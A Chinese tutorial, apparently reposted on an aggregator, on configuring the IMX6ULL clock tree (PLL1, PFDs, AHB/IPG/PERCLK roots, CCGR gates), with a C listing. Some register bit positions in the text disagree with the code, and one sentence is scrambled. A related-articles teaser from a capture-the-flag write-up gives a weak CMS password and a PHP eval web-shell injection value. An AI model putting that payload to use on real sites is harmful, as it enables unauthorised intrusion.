实用指南:嵌入式硬件——IMX6ULL时钟配置

news/2025/10/2 13:24:06/文章来源:https://www.cnblogs.com/wzzkaifa/p/19123514

一、时钟系统初始化准备

  • 关闭可能影响配置的模块(如Cache、MMU),避免时钟切换时内核不稳定;
  • 明确调整目标(如内核主频528MHz、AHB=132MHz、IPG=66MHz)。

读取并修改SCTLR寄存器(CP15协处理器):

  • 通过MRC指令读取CP15的SCTLR寄存器(系统控制寄存器);
  • 清零V位(bit13,允许异常向量表重定位)、I位(bit12,关闭I Cache)、C位(bit2,关闭D Cache)等,确保配置过程中无干扰。

确认外设时钟使能准备:

  • 后续需通过CCM_CCGR0~CCM_CCGR6寄存器启用外设时钟,初始可先全局使能(如enable_clocks函数,设置所有CCGR寄存器为0xFFFFFFFF)。

二、设置核心PLL(重点为ARM_PLL、PLL2、PLL3)

  • 配置ARM_PLL(PLL1)以设定内核主频;
  • 确认PLL2(528MHz)、PLL3(480MHz)的固定倍频(无需修改,仅需后续设置其PFD)。

操作步骤(以“内核主频528MHz”为例)
切换内核临时时钟源(避免PLL配置时内核停摆):

  • 配置CCM_CCSR寄存器(时钟控制状态寄存器):
    • CCM->CCSR &= ~(1 << 8):设置STEP_SEL位,使step_clk时钟源为24MHz晶振;
    • CCM->CCSR |= (1 << 2):设置PLL1_SW_CLK_SEL位,将内核时钟切换到step_clk(临时24MHz)。

配置ARM_PLL(PLL1)为1056MHz:

  • 操作CCM_ANALOG_PLL_ARM寄存器(PLL1配置寄存器):
    • 清零BYPASS位(bit16),禁用PLL旁路;
    • 设置DIV_SELECT位(bit12~bit0):根据公式Fout = Fin × (DIV_SELECT / 2.0),代入Fout=1056MHzFin=24MHz,计算得DIV_SELECT=88
    • 置位ENABLE位(bit13),使能PLL1输出。

设置内核分频(得到目标主频):

  • 配置CCM_CACRR寄存器(ARM时钟分频寄存器):
    • CCM->CACRR |= (1 << 0):设置ARM_PODF位为2分频(1056MHz / 2 = 528MHz)。

切换回PLL1主时钟:

  • CCM->CCSR &= ~(1 << 2):将PLL1_SW_CLK_SEL位清零,内核时钟切换回pll1_main_clk(528MHz)。

三、配置PLL2与PLL3的PFD(相位分数分频器)

  • 为外设提供多样化的根时钟源(如PLL2_PFD2供AHB根时钟),需按NXP推荐频率配置8路PFD(PLL2 4路+PLL3 4路)。

关键公式与配置步骤
PFD频率计算:

  • PLL2_PFDn:Fout = 528MHz × 18 / PFDn_FRACPFDn_FRAC范围12~35);
  • PLL3_PFDn:Fout = 480MHz × 18 / PFDn_FRACPFDn_FRAC范围12~35)。

按NXP推荐值部署PFD:

PFD模块推荐频率计算得PFDn_FRAC操作寄存器
PLL2_PFD0352MHz27(528×18/27=352)CCM_ANALOG->PFD_528
PLL2_PFD1594MHz16(528×18/16=594)CCM_ANALOG->PFD_528
PLL2_PFD2396MHz24(528×18/24=396)CCM_ANALOG->PFD_528
PLL2_PFD3297MHz32(528×18/32=297)CCM_ANALOG->PFD_528
PLL3_PFD0720MHz12(480×18/12=720)CCM_ANALOG->PFD_480
PLL3_PFD1540MHz16(480×18/16=540)CCM_ANALOG->PFD_480
PLL3_PFD2508.2MHz17(480×18/17≈508)CCM_ANALOG->PFD_480
PLL3_PFD3454.7MHz19(480×18/19≈455)CCM_ANALOG->PFD_480

寄存器操作细节:

  • 先清零PFDn_FRAC位(如CCM_ANALOG->PFD_528 &= ~(0x3F << 0)),避免残留值;
  • 清零PFDn_CLKGATE位(如CCM_ANALOG->PFD_528 &= ~(1 << 7)),使能PFD输出。

四、配置AHB/IPG/PERCLK根时钟

  • 为外设提供标准时钟(AHB=132MHz、IPG=66MHz、PERCLK=66MHz),需从PFD选择输入时钟并分频。

配置步骤(以“PLL2_PFD2=396MHz为输入”为例)
配置AHB_CLK_ROOT(132MHz):

  • 选择输入时钟:配置CCM_CBCMR寄存器的PRE_PERIPH_CLK_SEL位(bit19~18),选择PLL2_PFD2为输入;
  • 分频设置:配置CCM_CBCDR寄存器的AHB_PODF位(bit12~10),设置为3分频(396MHz / 3 = 132MHz)。

配置IPG_CLK_ROOT(66MHz):

  • 输入时钟为AHB_CLK_ROOT,配置CCM_CBCDRIPG_PODF位(bit9~8),设置为2分频(132MHz / 2 = 66MHz)。

调整PERCLK_CLK_ROOT(66MHz):

  • 输入时钟为IPG_CLK_ROOT,配置CCM_CSCMR1PERCLK_PODF位(bit6~0),设置为1分频(66MHz / 1 = 66MHz)。

五、使能外设时钟

  • 为具体外设(如GPIO、UART、PWM)启用时钟,避免未使用外设耗电。

操作方式
全局使能(调试阶段便捷使用):

  • 通过enable_clocks函数,设置CCM_CCGR0~CCM_CCGR60xFFFFFFFF,启用所有外设时钟。

按需使能(量产阶段节能):

  • 每个CCM_CCGRx寄存器的每2位控制一个外设时钟,例如:
    • CCM_CCGR0bit31~30控制GPIO2时钟,设置为11(除停止模式外均使能);
    • 公式:CCM->CCGRx |= (0x03 << n)n为外设对应的位偏移)。

六、时钟配置验证

  • 否生效(如内核主频、根时钟频率)。就是确认时钟配置

验证方法
软件验证:

  • 读取CCM_CACRRARM_PODF位,确认分频是否正确;
  • 读取CCM_ANALOG_PLL_ARMDIV_SELECT位,确认PLL1倍频是否正确;
  • 通过延时函数间接验证。

硬件验证:

  • 若开发板有示波器接口,可测量外设时钟引脚(如UART的PCLK),确认频率是否匹配设置值。

关键代码参考(基于clock.c

// 1. 全局使能外设时钟
void enable_clocks(void) {CCM->CCGR0 = 0xFFFFFFFF;CCM->CCGR1 = 0xFFFFFFFF;CCM->CCGR2 = 0xFFFFFFFF;CCM->CCGR3 = 0xFFFFFFFF;CCM->CCGR4 = 0xFFFFFFFF;CCM->CCGR5 = 0xFFFFFFFF;CCM->CCGR6 = 0xFFFFFFFF;
}
// 2. 核心时钟配置(内核528MHz、AHB=132MHz、IPG=66MHz)
void init_clock(void) {unsigned int t;// 阶段2:切换内核临时时钟源(24MHz)CCM->CCSR &= ~(1 << 8);   // STEP_SEL=0,step_clk=24MHzCCM->CCSR |= (1 << 2);    // PLL1_SW_CLK_SEL=1,内核时钟=step_clk// 阶段2:配置ARM_PLL(PLL1=1056MHz)t = CCM_ANALOG->PLL_ARM;t &= ~(3 << 14);          // 清除BYPASS_CLK_SRCt |= (1 << 13);           // 使能PLL1t &= ~(0x7F << 0);        // 清除DIV_SELECTt |= (88 << 0);           // DIV_SELECT=88(1056MHz=24×88/2)CCM_ANALOG->PLL_ARM = t;CCM->CACRR |= (1 << 0);   // ARM_PODF=2分频(528MHz)// 阶段2:切换回PLL1主时钟CCM->CCSR &= ~(1 << 2);   // PLL1_SW_CLK_SEL=0,内核时钟=pll1_main_clk// 阶段3:配置PLL2_PFD(528MHz衍生)t = CCM_ANALOG->PFD_528;t &= ~((0x3F << 0) | (0x3F << 8) | (0x3F << 16) | (0x3F << 24));t &= ~((1 << 7) | (1 << 15) | (1 << 23) | (1 << 31));  // 使能PFD输出t |= (27 << 0) | (16 << 8) | (24 << 16) | (32 << 24);  // PFD0~PFD3配置CCM_ANALOG->PFD_528 = t;// 阶段3:配置PLL3_PFD(480MHz衍生)t = CCM_ANALOG->PFD_480;t &= ~((0x3F << 0) | (0x3F << 8) | (0x3F << 16) | (0x3F << 24));t &= ~((1 << 7) | (1 << 15) | (1 << 23) | (1 << 31));  // 使能PFD输出t |= (12 << 0) | (16 << 8) | (17 << 16) | (19 << 24);  // PFD0~PFD3配置CCM_ANALOG->PFD_480 = t;// 阶段4:配置AHB/IPG/PERCLK根时钟t = CCM->CBCMR;t &= ~(3 << 18);t |= (1 << 18);           // PRE_PERIPH_CLK_SEL=PLL2_PFD2CCM->CBCMR = t;t = CCM->CBCDR;t &= ~((7 << 10) | (3 << 8));t |= (2 << 10) | (1 << 8);  // AHB_PODF=3分频(132MHz)、IPG_PODF=2分频(66MHz)CCM->CBCDR = t;CCM->CSCMR1 &= ~(0X3F << 0);  // PERCLK_PODF=1分频(66MHz)// 阶段5:全局使能外设时钟enable_clocks();
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/924941.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

网站举报能不能查到举报人如何快速做企业网站包括商城

谈谈Linux中的存储保护以下讨论的内容是以i386平台为基础的Linux将4G的地址划分为用户空间和内核空间两部分。在Linux内核的低版本中(2。0。X)&#xff0c;通常0-3G为用户空间&#xff0c;3G-4G为内核空间。这个分界点是可以可以改动的。正是这个分界点的存在&#xff0c;限制了…

网站图片漂浮代码设计坞在线海报制作

来源&#xff1a;EETimes编译&#xff1a;科技行者虚拟现实技术近年来迎来一波快速发展&#xff0c;适用范围也扩展到更多领域&#xff0c;引得众多老牌巨头纷纷参与。然而&#xff0c;VR技术自身仍存在一些极难解决的缺陷&#xff0c;如果无法攻克&#xff0c;技术的进一步普及…

哪些网站做企业招聘不要花钱网站的大图标怎么做

bug的由来及分类 p81 字符串形式表示的数字之间也可以比较大小 import re ageinput(年龄&#xff1a;) if age>18:print(age)列表的append操作每次只能添加一个元素&#xff1a; lst[] lst.append(A) lst.append(B) # lst.append(A,B) 错误python中的异常处理机制 p82 t…

MX-J24 题解(T1 - T4) - 指南

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

深入解析:ROS2学习研究版本推荐:Jazzy Jalisco(LTS长期支持版)AI版本251001

深入解析:ROS2学习研究版本推荐:Jazzy Jalisco(LTS长期支持版)AI版本2510012025-10-02 13:06 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflo…

详细介绍:c++ 之多态虚函数表

详细介绍:c++ 之多态虚函数表pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco"…

微信授权登录网站退出怎么做网站安全检测入口

[LeetCode] 485.最大连续 1 的个数(Java) 1.题目描述 力扣传送门 给定一个二进制数组 nums &#xff0c; 计算其中最大连续 1 的个数。 示例 1&#xff1a;输入&#xff1a;nums [1,1,0,1,1,1] 输出&#xff1a;3 解释&#xff1a;开头的两位和最后的三位都是连续 1 &…

建材做哪些网站买购网

目录 1&#xff1a;什么是序列化、反序列化&#xff1f; 2&#xff1a;序列化的用途&#xff1f; 3&#xff1a;序列化的n种方式 1&#xff1a;什么是序列化、反序列化&#xff1f; 把对象转换为字节序列的过程称为对象的序列化把字节序列转换为对象的过程中称为对象的反序列…

2025球墨铸铁管厂家TOP企业品牌推荐排行榜,k9球墨铸铁管,c25球墨铸铁管,c30球墨铸铁管,c级国标离心球墨铸铁管,c级供水球墨铸铁管,dn900球墨铸铁管公司推荐!

在当前城市基础设施建设与市政工程快速推进的背景下,球墨铸铁管作为供水、排水、消防等领域的关键管材,其市场需求持续增长。然而,行业发展也面临诸多问题,一方面,部分生产厂家为降低成本,在原材料选用和生产工艺…

10/2

今日学习了Java和英语,背诵了单词,明日继续

使用 VictoriaLogs 存储和查询服务器日志

欢迎访问我的个人小站 莹的网络日志 ,不定时更新文章和技术博客~目前为止,我查询服务器日志的方式都是小作坊式做法,先是连进服务器找到日志文件,要么使用 vim 打开文件搜索要么就是用 grep。当前我只有一个服务器…

详细介绍:Git 基础 - 查看提交历史

详细介绍:Git 基础 - 查看提交历史pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco…

语音合成技术

语音合成技术本博客是博主个人学习时的一些记录,不保证是为原创,个别文章加入了转载的源地址,还有个别文章是汇总网上多份资料所成,在这之中也必有疏漏未加标注处,如有侵权请与博主联系。 如果未特殊标注则为原创…

求职网站网页模板下载网站模板绑定域名

来源&#xff1a;卫星界据工业和信息化部官网10月9日消息&#xff0c;依据《工业和信息化部重点实验室管理暂行办法》&#xff08;工信部科〔2014〕515号&#xff09;&#xff0c;经评审和公示&#xff0c;工业和信息化部公布2019年工业和信息化部重点实验室名单。根据文件&…

PowerShell 提供程序和驱动器(七)

PowerShell 提供程序和驱动器目录PowerShell 提供程序和 PowerShell 驱动器PowerShell 提供程序查看提供程序的帮助文件使用PowerShell 驱动器处理 PowerShell 驱动器位置管理文件系统管理注册表获取注册表项获取注册表…

网站建设 业务员提成岳阳seo

命令模式&#xff08;Command Pattern&#xff09;是一种行为设计模式&#xff0c;它将一个请求封装为一个对象&#xff0c;从而使你可以用不同的请求对客户进行参数化&#xff0c;对请求排队或记录请求日志&#xff0c;以及支持可撤销的操作。 命令模式主要包含以下几个角色&…

用织梦做的学校网站建设工程教育网官网学员登录

OpenCV 例程200篇 总目录-202205更新 【youcans 的 OpenCV 例程200篇】180.基于距离变换的分水岭算法 【youcans 的 OpenCV 例程200篇】181.基于 Sobel 梯度的分水岭算法 【youcans 的 OpenCV 例程200篇】182.基于形态学梯度的分水岭算法 【youcans 的 OpenCV 例程200篇】183.基…

400选号网站源码wordpress聚合广告平台

让我们定义dn​为&#xff1a;dn​pn1​−pn​&#xff0c;其中pi​是第i个素数。显然有d1​1&#xff0c;且对于n>1有dn​是偶数。“素数对猜想”认为“存在无穷多对相邻且差为2的素数”。 现给定任意正整数N(<105)&#xff0c;请计算不超过N的满足猜想的素数对的个数。…

2025热熔胶厂家 TOP 企业品牌推荐排行榜,书刊装订,珍珠棉,纸箱包装,环保,书本,试卷,票据,平摊,胶版纸,铜版纸热熔胶公司推荐!

在当前热熔胶应用领域不断拓展的背景下,行业发展虽呈现蓬勃态势,但也面临着诸多亟待解决的问题。从市场层面来看,热熔胶产品质量参差不齐,部分厂家为追求短期利益,降低生产标准,导致产品出现粘性不足、易脆断、有…

cyberstrikelab-lab14

flag1 pluck 后台弱密码 cslab 第一次打的时候任意文件上传上传不上去,怀疑是没配置好 temp 目录的权限,这里用另一个漏洞 先把报错的 album 模块删掉 抓包修改 cont2 cont2=;eval($_POST[x]);//蚁剑连接 http://10.…